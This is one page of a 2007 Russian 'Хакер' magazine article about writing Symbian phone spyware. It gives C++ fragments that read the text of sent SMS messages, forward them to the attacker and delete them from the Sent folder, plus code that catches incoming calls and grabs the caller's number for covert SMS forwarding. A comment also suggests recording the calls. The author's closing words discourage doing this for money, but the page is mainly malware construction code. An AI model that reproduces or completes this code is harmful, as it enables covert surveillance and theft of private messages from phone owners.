Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #103, ИЮЛЬ 2007 г.

Большой брат для мобилы

Дмитрий «Zhir» Тарасов

Хакер, номер #103, стр. 103-116-4

TMsvId iSmsId = messageEntry.Id();

iSmsMtm->SwitchCurrentEntryL(iSmsId);

iBody.Copy(iSmsMtm->Entry().Entry().iDescription);//в переменную iBody будет

записан текст отправленного sms

Затем sms отправляется хакеру и удаляется из папки «Отправленные». Аналогичный код приведен в описании HandleSessionEventL для отлова входящих sms. Код можешь посмотреть на диске.

Отлов звонков

Для отлова вызовов нам также понадобится отдельный класс, который будет обладать свойством iActive, являющимся экземпляром класса CActiveIncomingCallObserver, унаследованным от CActive.

В конструктор AppUi мы добавим создание объекта движка, в результате чего будет создан и iActive, который будет слушать поступающие звонки. Код, который выполняется в случае звонка, помещается в метод CActiveIncomingCallObserver::RunL() (кстати, рекомендую изучить документацию по CActive).

Перехват вызова

void CActiveIncomingCallObserver::RunL()

{

if (iStatus == KErrNone)

{

if (iCallActive)

{

if (iCallStatus == RCall::EStatusIdle)

{

//разговор в процессе, можно, например, попытаться записать его на флешку =)

}

else

{

iCall.NotifyStatusChange(iStatus, iCallStatus);

}

}

else

{

//Поступил вызов, получаем номер звонящего и отправляем sms =)

}

SetActive();//запускаем механизм отлова звонка снова

}

}

При этом собственно получение номера звонящего выглядит примерно так:

RMobileCall::TMobileCallInfoV1 callInfo;

RMobileCall::TMobileCallInfoV1Pckg callInfoPckg(callInfo);

User::LeaveIfError(iCall.GetMobileCallInfo(callInfoPckg));

TBuf<64> remoteNumber;//переменная для записи номера звонящего

remoteNumber.Copy(callInfo.iRemoteParty.iRemoteNumber.iTelNumber);

Заключение

Как видишь, создание зловредного программного обеспечения для современных мобил – совсем несложное дело. Есть люди, которые зарабатывают на этом немалые деньги. Описанный выше случай с отправкой вредоносной программой платных sms примитивен, но весьма показателен. В частности, мне поступало предложение за весьма внушительную сумму разработать программку, которая могла бы управляться хакером посредством sms-команд. Конечно же, я отказался, чего и тебе советую. Зарплата у разработчиков мобильного ПО и так выше, чем в среднем на рынке, поэтому мы в состоянии зарабатывать на батон хлеба с кружкой кваса и без всякой незаконной хрени.

Рекомендованная литература

Symbian OS C++ for Mobile Phones, Volume 2 : Inside OS v. 7.0(s) (Symbian Press), Leigh Edwards, Richard Barker – неплохая книжка, в которой описаны основные концепции кодинга под Симбиан.

Developing Series 60 Applications : A Guide for Symbian OS C++ Developers (Nokia Mobile Developer) – в отличие от предыдущей книжки, здесь много хороших практических примеров.

Хидер sms-движка

#include <e32base.h> // CBase

#include <msvapi.h> // MMsvSessionObserver

class CClientMtmRegistry;

class CSmsClientMtm;

class CXaMegaFuck : public CActive, public MMsvSessionObserver

Назад на стр. 103-116-3  Содержание  Вперед на стр. 103-116-5